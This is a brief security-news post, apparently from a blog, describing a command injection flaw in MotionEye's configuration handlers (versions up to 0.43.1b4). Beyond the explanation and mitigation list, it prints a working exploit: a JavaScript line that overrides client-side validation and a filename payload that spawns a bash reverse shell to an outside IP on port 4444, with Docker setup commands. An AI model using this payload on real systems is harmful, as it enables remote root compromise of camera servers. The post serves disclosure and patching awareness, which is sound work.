Listen to this Post
How the CVE Works:
MotionEye contains an OS command injection vulnerability in its web interface configuration handlers. The application writes unsanitized user input from fields like image_file_name and movie_filename directly into Motion configuration files (camera-.conf). When the Motion service restarts, it parses these configuration values as shell-expandable strings. Attackers can inject shell metacharacters ($(), backticks) that execute when Motion processes the configuration. This occurs because MotionEye performs no input validation or sanitization before writing user-controlled values to disk. The vulnerability enables complete system compromise through command injection in configuration parameters that are executed with root privileges during service initialization.
Platform: MotionEye
Version: <=0.43.1b4
Vulnerability: Command Injection
Severity: Critical
date: 2022-02-15
Prediction: Patch: 2022-03-10
What Undercode Say:
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge docker exec -it motioneye /bin/bash docker logs motioneye | grep "motionEye server"
configUiValid = function() { return true; };
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
How Exploit:
Bypass client validation
Inject shell commands
Trigger service restart
Protection from this CVE:
Input sanitization
Service isolation
Network segmentation
Impact:
Full system compromise
Container escape
Network persistence
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
